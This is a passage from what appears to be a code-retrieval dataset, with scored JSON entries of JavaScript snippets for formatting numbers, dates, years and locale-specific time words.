amount;\n\t}\n}", "title": "" }, { "docid": "b6345998f4fc6d93934638724d89fa3b", "score": "0.54562044", "text": "function formatRupiah(angka, prefix){\n var number_string = angka.replace(/[^,\\d]/g, '').toString(),\n split = number_string.split(','),\n sisa = split[0].length % 3,\n rupiah = split[0].substr(0, sisa),\n ribuan = split[0].substr(sisa).match(/\\d{3}/gi);\n \n // tambahkan titik jika yang di input sudah menjadi angka ribuan\n if(ribuan){\n separator = sisa ? '.' : '';\n rupiah += separator + ribuan.join('.');\n }\n \n rupiah = split[1] != undefined ? rupiah + ',' + split[1] : rupiah;\n return prefix == undefined ? rupiah : (rupiah ? 'Rp. ' + rupiah : '');\n}", "title": "" }, { "docid": "a9fa35a66e1849a53ec067483064323c", "score": "0.54500383", "text": "function generateYearString(years) {\n\t\t\tvar string = '';\n\t\t\tfor (var i = 0; i < years.length; i++) {\n\t\t\t\tif (i === 0) {\n\t\t\t\t\tstring += years[i];\n\t\t\t\t} else if (i === years.length - 1) {\n\t\t\t\t\treturn string + '-' + years[i];\n\t\t\t\t} else if (years[i] + 1 !== years[i + 1]) {\n\t\t\t\t\treturn [string + '-' + years[i], generateYearString(years.slice(i + 1))];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn string;\n\t\t}", "title": "" }, { "docid": "07e7064dda678c55033efa27bf9dfa61", "score": "0.544928", "text": "prefixZero(number) {\n if (number < 0)\n throw new RangeError(\"Number must be not less than 0.\");\n// if (number > 99)\n// throw new RangeError(\"Number must be less than 100.\");\n var prefix = \"\";\n if (number < 10 && this.options.zeroPrefix)\n prefix = \"0\";\n return prefix + number;\n }", "title": "" }, { "docid": "31ed3e58434fce8236034d4279882b65", "score": "0.5447173", "text": "function showDigit (digit) {\n\t\t$(\".item-header\").html(digit);\n\t}", "title": "" }, { "docid": "3d611733f22d5dae3711b73fa9e49232", "score": "0.54239863", "text": "function formatter() {\n var exp = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];\n\n var month = exp.month;\n var year = exp.year;\n\n if (_.isEmpty(month) && _.isEmpty(year)) {\n return '';\n }\n\n return $filter('date')(new Date(year, month - 1), 'MM / yy');\n }", "title": "" }, { "docid": "e2d604102dbae99c8b60eb47036a5c58", "score": "0.54186463", "text": "function century(num) {\n console.log(century_(num));\n}", "title": "" }, { "docid": "99568340bf022eaee8c720737bec43c7", "score": "0.54159266", "text": "function showCurrentYear() {\n var yearFormula = new Date().getFullYear();\n return yearFormula;\n}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "9793a69db0fad21f183b44b274fed761", "score": "0.5412631", "text": "function xd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "5ec6d24c7e98c62df2ef75432b9061b9", "score": "0.53891593", "text": "function format(index){\n if(index<10){\n return index=`0${index}`;\n }\n return index;\n }", "title": "" }, { "docid": "5ec6d24c7e98c62df2ef75432b9061b9", "score": "0.53891593", "text": "function format(index){\n if(index<10){\n return index=`0${index}`;\n }\n return index;\n }", "title": "" }, { "docid": "876864f5c2d6259137e1341a4279dafd", "score": "0.5369889", "text": "function getYears() {\n yearsHTML = \"\"\n for (var i = TODAY.getFullYear(); i > TODAY.getFullYear() - 100; --i) {\n yearsHTML += \"<option value='\" + i + \"'>\"+i+\"</option>\";\n }\n return yearsHTML;\n}", "title": "" }, { "docid": "a55274fa6aedfa877e4bf70764caa432", "score": "0.5365937", "text": "function generateTitle(t)\n{\n var pattern = /-[0-9]+$/; \n if (pattern.test(t)){\n var num = parseInt(t.replace(/^.*-([0-9]+)$/, \"$1\"));\n var title = t.replace(/^(.*)-[0-9]+$/, \"$1\");\n num++;\n \n return title + \"-\" + num;\n }\n else\n return t + \"-1\";\n}", "title": "" }, { "docid": "2b2eb80f476a40cfe047202e13f900d8", "score": "0.53571993", "text": "function numberFormat(nStr,prefix){\r\n var prefix = prefix || '';\r\n nStr += '';\r\n x = nStr.split('.');\r\n x1 = x[0];\r\n x2 = x.length > 1 ? '.' + x[1] : '';\r\n var rgx = /(\\d+)(\\d{3})/;\r\n while (rgx.test(x1))\r\n x1 = x1.replace(rgx, '$1' + ',' + '$2');\r\n return prefix + x1 + x2;\r\n}", "title": "" }, { "docid": "9ad84c01c0553a5f3dae251ae44ff4e4", "score": "0.53487283", "text": "function suffix(n) {\n switch (n) {\n case 11: return '11th';\n case 12: return '12th';\n case 13: return '13th';\n }\n\n switch (n % 10) {\n case 1: return n + 'st';\n case 2: return n + 'nd';\n case 3: return n + 'rd';\n default: return n + 'th';\n }\n}", "title": "" }, { "docid": "f6b1ff3ca1d173c3c837c5b134f4f9b6", "score": "0.5346237", "text": "function outputString(inputId,inputIdentifier){\n\tif (inputIdentifier === \"seconds\"){\n\t\tif (seconds < 10){\n\t\t\tdocument.getElementById(inputId).value = `0${seconds}`;\n\t\t} else {\n\t\t\tdocument.getElementById(inputId).value = seconds;\n\t\t}\n\t} else if (inputIdentifier === \"minutes\"){\n\t\tif (minutes < 10){\n\t\t\tdocument.getElementById(inputId).value = `0${minutes}`;\n\t\t} else {\n\t\t\tdocument.getElementById(inputId).value = minutes;\n\t\t}\n\t}\n\n}//the idea here is that this function could be scaled to add hours, years, etc, or repurposed elsewhere. also used as a general output thing", "title": "" }, { "docid": "562b8965c95cca6cf875424df85a7096", "score": "0.53385407", "text": "function abbr(num) {\n if (num >= 1000000) {\n return `${num/1000000}m`;\n } else if (num >= 1000) {\n return `${num/1000}k`;\n } else {\n return num;\n }\n }", "title": "" }, { "docid": "71a63a039a7d516d2cd6094631f7226f", "score": "0.53247666", "text": "function printTitle(year, month){\n\n var h1MonthName = $(\"#month\"); // titolo mese\n var monthName = getMonthName(month); // nome del mese\n var dayCount = getMonthDayCount(year, month); // numero di giorni\n\n //stampiamo per esteso i valori nel titolo del mese\n h1MonthName.text(monthName + \" \" + year + \" : 1 - \" + dayCount);\n}", "title": "" }, { "docid": "62b5ca811a6d318790ff9255c4caf58c", "score": "0.5316683", "text": "function showlistYear() {\n\tfor (var i = 1954; i < 2100; i++) {\n\t\tlistYear.innerHTML += \"<option value='\" + i + \"'>\" + i + \"</option>\";\n\t}\n\tdrawCalender(currYear, currMon);\n}", "title": "" }, { "docid": "4bec561f6bfe992a41f1a81278058d6d", "score": "0.53137547", "text": "displayString(num) {\n if (num == 0) {\n return \"00\";\n } else if (num < 10) {\n return \"0\" + Math.floor(num);\n } else if (num <= 60) {\n return Math.floor(num).toString();\n } else {\n return this.displayString(num % 60);\n }\n }", "title": "" }, { "docid": "765d632804709a5e70b390981cddb7aa", "score": "0.53113157", "text": "YYYY(date) {\n return date.format(\"YYYY\")\n }", "title": "" }, { "docid": "73c880da70b1ca308dc0eaa8f568b7fc", "score": "0.530424", "text": "function humanizeNumber(num) {\n result = \"\";\n if (num == 11) {\n result = num + \"th\";\n } else if (num == 12) {\n result = num + \"th\";\n } else if (num == 13) {\n result = num + \"th\";\n } else if ((num % 10) == 1) {\n result = num + \"st\";\n } else if ((num % 10) == 2) {\n result = num + \"nd\";\n } else if ((num % 10) == 3) {\n result = num + \"rd\";\n } else if (num > 3) {\n result = num + \"th\";\n } else {\n result = \"Please use positive numbers.\";\n } return result;\n}", "title": "" }, { "docid": "25679de4a1173c569bb6df349c1c9bd0", "score": "0.5303415", "text": "function nameOfNumber() {\n \"use strict\";\n\n var result = '', lastDigit = input % 10, i, current;\n\n for (i = 0; i < inputLength.length; i++) {\n current = input % 10;\n input = Math.floor(input / 10);\n\n switch (current) {\n case 0:\n if (inputLength.length === 1) {\n result = 'zero';\n }\n break;\n case 1:\n if (i === 0) {\n result = 'one';\n } else if (i === 1) {\n switch (lastDigit) {\n case 0:\n result = 'ten';\n break;\n case 1:\n result = 'eleven';\n break;\n case 2:\n result = 'twelve';\n break;\n case 3:\n result = 'thirteen';\n break;\n case 4:\n result = 'fourteen';\n break;\n case 5:\n result = 'fifteen';\n break;\n case 6:\n result = 'sixteen';\n break;\n case 7:\n result = 'seventeen';\n break;\n case 8:\n result = 'eightenn';\n break;\n case 9:\n result = 'nineteen';\n break;\n default:\n result = 'I am sorry, I don not know what is that.';\n }\n } else if (i === 2) {\n result = 'One hundred ' + result;\n }\n\n break;\n case 2:\n if (i === 0) {\n result = 'two';\n } else if (i === 1) {\n result = 'twenty ' + result;\n } else if (i === 2) {\n result = 'Two hundred ' + result;\n }\n break;\n case 3:\n if (i === 0) {\n result = 'three';\n } else if (i === 1) {\n result = 'thirty ' + result;\n } else if (i === 2) {\n result = 'Three hundred ' + result;\n }\n break;\n case 4:\n if (i === 0) {\n result = 'four';\n } else if (i === 1) {\n result = 'forty ' + result;\n } else if (i === 2) {\n result = 'Four hundred ' + result;\n }\n break;\n case 5:\n if (i === 0) {\n result = 'five';\n } else if (i === 1) {\n result = 'fifty ' + result;\n } else if (i === 2) {\n result = 'Five hundred ' + result;\n }\n break;\n case 6:\n if (i === 0) {\n result = 'six';\n } else if (i === 1) {\n result = 'sixty ' + result;\n } else if (i === 2) {\n result = 'Six hundred ' + result;\n }\n break;\n case 7:\n if (i === 0) {\n result = 'seven';\n } else if (i === 1) {\n result = 'seventy ' + result;\n } else if (i === 2) {\n result = 'Seven hundred ' + result;\n }\n break;\n case 8:\n if (i === 0) {\n result = 'eight';\n } else if (i === 1) {\n result = 'eighty ' + result;\n } else if (i === 2) {\n result = 'Eight hundred ' + result;\n }\n break;\n case 9:\n if (i === 0) {\n result = 'nine';\n } else if (i === 1) {\n result = 'ninety ' + result;\n } else if (i === 2) {\n result = 'Nine hundred ' + result;\n }\n break;\n default:\n result = 'I can only count to 999 :(';\n break;\n }\n }\n\n document.getElementById('result').innerHTML = result;\n}", "title": "" }, { "docid": "bfc165c53ede7bfca5ef1812dfb148f7", "score": "0.5300734", "text": "function displayYear(year)\n {\n dot.data(interpolateData(year), key).call(position).sort(order);\n\ttext.data(interpolateData(year), key).call(position_t).sort(order);\n dot.select(\"title\")\n .text(function(d) { return d.name + \":\\n\\n\" + xtitle + \"=\" + d.x + \"\\n\" + ytitle + \"=\" + d.y });\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "b87e9932246b98a25cdd7619dcab9709", "score": "0.5292496", "text": "function formatPrefix(prefix) {\n return (prefix.indexOf('/') !== 0 ? '/' : '') + prefix;\n }", "title": "" }, { "docid": "ea4977899b771fd4bb582a43178b9c4a", "score": "0.52919793", "text": "function __maptheme_formatpart(nPart,szLeading){\n\t\tif (!szLeading){\n\t\t\tszLeading = \"\";\n\t\t}\n\t\tvar szPart = \"\";\n\t\tif (nPart<100){\n\t\t\tszPart += szLeading;\n\t\t}\n\t\tif (nPart<10){\n\t\t\tszPart += szLeading;\n\t\t}\n\t\tif (nPart==0){\n\t\t\tszPart += szLeading;\n\t\t}\n\t\telse{\n\t\t\tszPart += String(nPart);\n\t\t}\n\t\treturn szPart;\n\t}", "title": "" }, { "docid": "d579c0b03339e2ccb97b83021edb679d", "score": "0.5288593", "text": "function padYear(yearValue) {\n\tlet yearString\n\tif (isNaN(yearValue)) {\n\t\tyearString = yearValue\n\t} // prettier-ignore\n\telse if (yearValue < 0) {\n\t\tyearString = padDigits(yearValue, 6)\n\t} // prettier-ignore\n\telse {\n\t\tyearString = padDigits(yearValue, 4)\n\t}\n\treturn yearString\n}", "title": "" }, { "docid": "5f0a5dfa313b87339fe0686229f54927", "score": "0.528244", "text": "function prettify(input,nbDec){\n if (!(isNaN(input))) {\n\t\tvar output = Math.round(input * Math.pow(10,nbDec))/Math.pow(10,nbDec);\n\t\tinput= output;\n\t} \n var tier = Math.log10(input) / 3 | 0;\n if(tier == 0) return input;\n var scale = Math.pow(10, tier * 3);\n var scaled = input / scale;\n return scaled.toFixed(1) + Prefixes[tier];\n}", "title": "" }, { "docid": "4b4834b881665694bc3d222d505e5f0a", "score": "0.5281561", "text": "function get_year(year){\n if (year == \"1111\"){\n var thisYear = \"\";\n }else{\n var thisYear = year;\n }\n return thisYear;\n }", "title": "" }, { "docid": "ac8c8f1d5d600cde6190e004ae8ee8c4", "score": "0.5279305", "text": "function nd(a,b,c){var d={mm:\"minute\",hh:\"ore\",dd:\"zile\",MM:\"luni\",yy:\"ani\"},e=\" \";return(a%100>=20||a>=100&&a%100===0)&&(e=\" de \"),a+e+d[c]}", "title": "" }, { "docid": "e36cf092bcea9d35c1402ab9c3c54383", "score": "0.52787083", "text": "function defineFormat(id) {\n switch (id) {\n case 1:\n format = 'MMM Do YYYY - h a';\n range = 'day';\n// bar_width = 22;\n break;\n case 2:\n format = 'MMM Do YYYY';\n range = 'month';\n// bar_width = 17;\n break;\n case 3:\n format = 'MMM YYYY';\n range = 'year';\n// bar_width = 40;\n break;\n case 4:\n format = 'YYYY';\n range = 'year';\n// bar_width = 30;\n break;\n case 5:\n format = 'MMM Do YYYY - h a';\n range = 'year';\n// bar_width = 22;\n break;\n default:\n alert(\"Incorrect range\");\n }\n}", "title": "" }, { "docid": "988b064a9cdeaa7f4741ad97cd8f1ac4", "score": "0.52685314", "text": "function populateDisplay(number) {\n let displayText = document.querySelector(\".display-text\");\n if (displayText.innerText.includes(\".\") && number == \".\") {\n return;\n } else if (number == \"AC\") {\n displayText.innerText = \"0\";\n } else if (number == \"+/-\") {\n if (displayText.innerText.split(\"\")[0] !== \"-\") {\n displayText.innerText = \"-\" + displayText.innerText;\n }\n } else if (number == \"%\" && displayText.innerText.length < 2) {\n displayText.innerText = displayText.innerText + \"%\";\n } else if (displayText.innerText === \"0\" && number != \".\") {\n displayText.innerText = number;\n } else {\n displayText.innerText += number;\n }\n return displayText.innerText;\n}", "title": "" }, { "docid": "f6b5fdf8aedb705ae0dcf3f855f30654", "score": "0.52612317", "text": "prefixed(prefix) {\n let spec, value\n ;[spec, prefix] = flexSpec(prefix)\n\n if (spec === 2009) {\n if (this.name === 'flex') {\n value = 'box'\n } else {\n value = 'inline-box'\n }\n } else if (spec === 2012) {\n if (this.name === 'flex') {\n value = 'flexbox'\n } else {\n value = 'inline-flexbox'\n }\n } else if (spec === 'final') {\n value = this.name\n }\n\n return prefix + value\n }", "title": "" }, { "docid": "f6b5fdf8aedb705ae0dcf3f855f30654", "score": "0.52612317", "text": "prefixed(prefix) {\n let spec, value\n ;[spec, prefix] = flexSpec(prefix)\n\n if (spec === 2009) {\n if (this.name === 'flex') {\n value = 'box'\n } else {\n value = 'inline-box'\n }\n } else if (spec === 2012) {\n if (this.name === 'flex') {\n value = 'flexbox'\n } else {\n value = 'inline-flexbox'\n }\n } else if (spec === 'final') {\n value = this.name\n }\n\n return prefix + value\n }", "title": "" }, { "docid": "35036068a7f77d6354e5439c65b774ad", "score": "0.52562594", "text": "YY(date) {\n return date.format(\"YY\")\n }", "title": "" }, { "docid": "ef82852269e45ccef2f12058736deea3", "score": "0.52561706", "text": "function fixYear(yr) {\n/* 100 */ \t\t\t\t\t\tyr = +yr;\n\n/* omnigrid.js */\n\n/* 101 */ \t\t\t\t\t\tif (yr<50) { yr += 2000; }\n/* 102 */ \t\t\t\t\t\telse if (yr<100) { yr += 1900; }\n/* 103 */ \t\t\t\t\t\treturn yr;\n/* 104 */ \t\t\t\t\t}", "title": "" }, { "docid": "1bacd97b47f30d05d928e1ec8885af7c", "score": "0.525217", "text": "function durationFormater(value) {\n\t\t\tif (value == 0) {\n\n\t\t\t\tvalue = \"--\";\n\t\t\t} else {\n\t\t\t\tvalue + \"hrs\";\n\t\t\t}\n\t\t\treturn value;\n\t\t}", "title": "" }, { "docid": "5237a10357d0556a588f7b726c2a8eb0", "score": "0.52457947", "text": "function lastYear() {\n\tlet prevYear = fullYear--;\n\tdocument.getElementById(\"title__year\").innerHTML = prevYear;\n}", "title": "" }, { "docid": "18b2d848644aa4a30f5799705e6201d9", "score": "0.52229595", "text": "displayStartTime() {\n let currMonth = 0;\n let currYear = 0;\n if (this.props.user !== null) {\n const dateObj = this.convertStartTime(); // string => dateObj\n currMonth = dateObj.getMonth();\n switch (currMonth) {\n case 0:\n currMonth = 'Jan';\n break;\n case 1:\n currMonth = 'Feb';\n break;\n case 2:\n currMonth = 'March';\n break;\n case 3:\n currMonth = 'April';\n break;\n case 4:\n currMonth = 'May';\n break;\n case 5:\n currMonth = 'June';\n break;\n case 6:\n currMonth = 'July';\n break;\n case 7:\n currMonth = 'Aug';\n break;\n case 9:\n currMonth = 'Sept';\n break;\n case 10:\n currMonth = 'Oct';\n break;\n case 11:\n currMonth = 'Nov';\n break;\n case 12:\n currMonth = 'Dev';\n break;\n default:\n currMonth = 'Jan';\n break;\n }\n currYear = dateObj.getFullYear();\n const currTime = `${currYear.toString()}-${currMonth}`;\n return currTime;\n } else {\n this.props.createBanner('Sorry this is not working right now!');\n setTimeout(() => {\n this.props.clearBanner();\n }, 3000);\n return ' lollll sorry not working';\n }\n }", "title": "" }, { "docid": "f9f78ba4135b4c1d3ad48df78b3e8df5", "score": "0.52196145", "text": "function format(expStr, isAddition) {\n var values = expStr.split('/');\n var month = values[0] ? values[0].trim() : '';\n var year = values[1] ? values[1].trim().slice(-2) : '';\n\n // don't add slash\n if (!isAddition && !year || month.length < 2) {\n return month;\n }\n\n // add slash in the right spot\n if (isAddition && !year && month.length > 2) {\n return month.slice(0, 2) + ' / ' + month.slice(2);\n }\n\n return month + ' / ' + year;\n }", "title": "" }, { "docid": "e7f59d742e8fbb8862db239f83c5cc50", "score": "0.52091575", "text": "function formatNum4(i) {\r\n return (i < 1000 ? i < 100 ? i < 10 ? '000' : '00' : '0' : '') + i;\r\n}", "title": "" }, { "docid": "5e11bbbc6fe4fa9bc0dd8ddd60479e8e", "score": "0.5196297", "text": "function translate(number, withoutSuffix, key) {\n var result = number + ' ';\n switch (key) {\n case 'ss':\n if (number === 1) {\n result += 'sekunda';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sekunde';\n } else {\n result += 'sekundi';\n }\n return result;\n case 'm':\n return withoutSuffix ? 'jedna minuta' : 'jedne minute';\n case 'mm':\n if (number === 1) {\n result += 'minuta';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'minute';\n } else {\n result += 'minuta';\n }\n return result;\n case 'h':\n return withoutSuffix ? 'jedan sat' : 'jednog sata';\n case 'hh':\n if (number === 1) {\n result += 'sat';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sata';\n } else {\n result += 'sati';\n }\n return result;\n case 'dd':\n if (number === 1) {\n result += 'dan';\n } else {\n result += 'dana';\n }\n return result;\n case 'MM':\n if (number === 1) {\n result += 'mjesec';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'mjeseca';\n } else {\n result += 'mjeseci';\n }\n return result;\n case 'yy':\n if (number === 1) {\n result += 'godina';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'godine';\n } else {\n result += 'godina';\n }\n return result;}\n\n }", "title": "" }, { "docid": "5e11bbbc6fe4fa9bc0dd8ddd60479e8e", "score": "0.5196297", "text": "function translate(number, withoutSuffix, key) {\n var result = number + ' ';\n switch (key) {\n case 'ss':\n if (number === 1) {\n result += 'sekunda';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sekunde';\n } else {\n result += 'sekundi';\n }\n return result;\n case 'm':\n return withoutSuffix ? 'jedna minuta' : 'jedne minute';\n case 'mm':\n if (number === 1) {\n result += 'minuta';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'minute';\n } else {\n result += 'minuta';\n }\n return result;\n case 'h':\n return withoutSuffix ? 'jedan sat' : 'jednog sata';\n case 'hh':\n if (number === 1) {\n result += 'sat';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sata';\n } else {\n result += 'sati';\n }\n return result;\n case 'dd':\n if (number === 1) {\n result += 'dan';\n } else {\n result += 'dana';\n }\n return result;\n case 'MM':\n if (number === 1) {\n result += 'mjesec';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'mjeseca';\n } else {\n result += 'mjeseci';\n }\n return result;\n case 'yy':\n if (number === 1) {\n result += 'godina';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'godine';\n } else {\n result += 'godina';\n }\n return result;}\n\n }", "title": "" }, { "docid": "5e11bbbc6fe4fa9bc0dd8ddd60479e8e", "score": "0.5196297", "text": "function translate(number, withoutSuffix, key) {\n var result = number + ' ';\n switch (key) {\n case 'ss':\n if (number === 1) {\n result += 'sekunda';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sekunde';\n } else {\n result += 'sekundi';\n }\n return result;\n case 'm':\n return withoutSuffix ? 'jedna minuta' : 'jedne minute';\n case 'mm':\n if (number === 1) {\n result += 'minuta';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'minute';\n } else {\n result += 'minuta';\n }\n return result;\n case 'h':\n return withoutSuffix ? 'jedan sat' : 'jednog sata';\n case 'hh':\n if (number === 1) {\n result += 'sat';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sata';\n } else {\n result += 'sati';\n }\n return result;\n case 'dd':\n if (number === 1) {\n result += 'dan';\n } else {\n result += 'dana';\n }\n return result;\n case 'MM':\n if (number === 1) {\n result += 'mjesec';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'mjeseca';\n } else {\n result += 'mjeseci';\n }\n return result;\n case 'yy':\n if (number === 1) {\n result += 'godina';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'godine';\n } else {\n result += 'godina';\n }\n return result;}\n\n }", "title": "" }, { "docid": "5e11bbbc6fe4fa9bc0dd8ddd60479e8e", "score": "0.5196297", "text": "function translate(number, withoutSuffix, key) {\n var result = number + ' ';\n switch (key) {\n case 'ss':\n if (number === 1) {\n result += 'sekunda';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sekunde';\n } else {\n result += 'sekundi';\n }\n return result;\n case 'm':\n return withoutSuffix ? 'jedna minuta' : 'jedne minute';\n case 'mm':\n if (number === 1) {\n result += 'minuta';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'minute';\n } else {\n result += 'minuta';\n }\n return result;\n case 'h':\n return withoutSuffix ? 'jedan sat' : 'jednog sata';\n case 'hh':\n if (number === 1) {\n result += 'sat';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sata';\n } else {\n result += 'sati';\n }\n return result;\n case 'dd':\n if (number === 1) {\n result += 'dan';\n } else {\n result += 'dana';\n }\n return result;\n case 'MM':\n if (number === 1) {\n result += 'mjesec';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'mjeseca';\n } else {\n result += 'mjeseci';\n }\n return result;\n case 'yy':\n if (number === 1) {\n result += 'godina';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'godine';\n } else {\n result += 'godina';\n }\n return result;}\n\n }", "title": "" }, { "docid": "6e2f4559d563137c60616b675a70f0b6", "score": "0.51952666", "text": "getSingle(x) {\n\n let values = {\n yr: 0,\n mo: 0,\n da: 0,\n hr: 0,\n mi: 0,\n se: 0\n }\n\n let y = x // The remainder\n\n let map = [\n {\n type: 'year',\n duration: years,\n variable: 'yr'\n },\n {\n type: 'month',\n duration: months,\n variable: 'mo'\n },\n {\n type: 'day',\n duration: days,\n variable: 'da'\n },\n {\n type: 'hour',\n duration: hours,\n variable: 'hr'\n },\n {\n type: 'minute',\n duration: minutes,\n variable: 'mi'\n },\n {\n type: 'second',\n duration: seconds,\n variable: 'se'\n }\n ]\n\n let type = '' // The duration type to be displayed, I.e year, month, etc\n\n map.some(v => {\n\n if (y % v.duration < y) {\n\n values[v.variable] = Math.floor(y / v.duration)\n\n y -= values[v.variable] * v.duration\n\n type = v.type\n\n return true\n }\n })\n\n let obj = {\n year: values.yr,\n month: values.mo,\n day: values.da,\n hour: values.hr,\n minute: values.mi,\n second: values.se\n }\n\n let result = ''\n\n if (type == '') {\n\n result = 'A moment ago'\n } else {\n\n result = getPartial(type, obj[type])\n }\n\n return result\n }", "title": "" }, { "docid": "910f46a91d5c972eb3878c767cf46077", "score": "0.51873654", "text": "function addPrefix(modelValue) {\n\t\t\t\tif (isNaN(modelValue)) {\n\t\t\t\t\tmodelValue = 0;\n\t\t\t\t}\n\t\t\t\tmodelValue += '';\n\t\t\t\tif (modelValue) {\n\t\t\t\t\tvar viewValue = symbol + modelValue;\n\t\t\t\t\treturn viewValue;\n\t\t\t\t} else {\n\t\t\t\t\treturn symbol;\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "a0cf793f3b25decd3006490ebf3f4f4f", "score": "0.51872337", "text": "getDisplayNum(number){\r\n const stringNum=number.toString();\r\n const intNum = parseFloat(stringNum.split('.')[0]); //first part:-before decimal\r\n const decimalDigits =stringNum.split('.')[1]; //second part:-after decimal\r\n let integerDisplay\r\n \r\n if(isNaN(intNum)) { \r\n integerDisplay='';\r\n } else {\r\n integerDisplay =intNum.toLocaleString('en',{ maximumFractionDigits:0}) // main function to add ','\r\n }\r\n if(decimalDigits!=null){\r\n return `${integerDisplay}.${decimalDigits}`; //add two parts together\r\n } else{\r\n return integerDisplay;\r\n }\r\n \r\n }", "title": "" }, { "docid": "ddef24d8f5f1930eea1979858ce9c93d", "score": "0.51812696", "text": "function ZeroPrefix(tp) {\n if (tp <= 9) {\n return \"0\" + tp.toString();\n }\n // Otherwise, it's already a 2-digit value (e.g. 10), so just return it.\n return tp.toString();\n}", "title": "" }, { "docid": "a19b1d5c5d5bd7ab48afc86a0dc98a4f", "score": "0.5179454", "text": "function Format(number){\n\t\t\tif(number<10){\n\t\t\t\treturn \"0\"+number;\n\t\t\t}else{\n\t\t\t\treturn number;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "243075dfccd70c3f4d98112b1bff3302", "score": "0.5177778", "text": "function suffix(d) {\n d = String(d);\n return d.substr(-(Math.min(d.length, 2))) > 3 && d.substr(-(Math.min(d.length, 2))) < 21 ? \"th\" : [\"th\", \"st\", \"nd\", \"rd\", \"th\"][Math.min(Number(d) % 10, 4)];\n }", "title": "" }, { "docid": "14c75da33fcb21e6c9e9a986aa84676c", "score": "0.5174847", "text": "function translate$3(number, withoutSuffix, key) {\n var result = number + ' ';\n switch (key) {\n case 'ss':\n if (number === 1) {\n result += 'sekunda';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sekunde';\n } else {\n result += 'sekundi';\n }\n return result;\n case 'm':\n return withoutSuffix ? 'jedna minuta' : 'jedne minute';\n case 'mm':\n if (number === 1) {\n result += 'minuta';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'minute';\n } else {\n result += 'minuta';\n }\n return result;\n case 'h':\n return withoutSuffix ? 'jedan sat' : 'jednog sata';\n case 'hh':\n if (number === 1) {\n result += 'sat';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'sata';\n } else {\n result += 'sati';\n }\n return result;\n case 'dd':\n if (number === 1) {\n result += 'dan';\n } else {\n result += 'dana';\n }\n return result;\n case 'MM':\n if (number === 1) {\n result += 'mjesec';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'mjeseca';\n } else {\n result += 'mjeseci';\n }\n return result;\n case 'yy':\n if (number === 1) {\n result += 'godina';\n } else if (number === 2 || number === 3 || number === 4) {\n result += 'godine';\n } else {\n result += 'godina';\n }\n return result;\n }\n }", "title": "" }, { "docid": "449eb097e57988822f06ec4087d8feee", "score": "0.51704276", "text": "formatNoun (noun, howMany) {\r\n if (howMany === 0) {\r\n return 'no ' + plural(noun);\r\n }\r\n else if (howMany === 1) {\r\n return noun;\r\n }\r\n else {\r\n return plural(noun);\r\n }\r\n }", "title": "" } ]
13f9aadaa1ca5bbea560312c19259f94
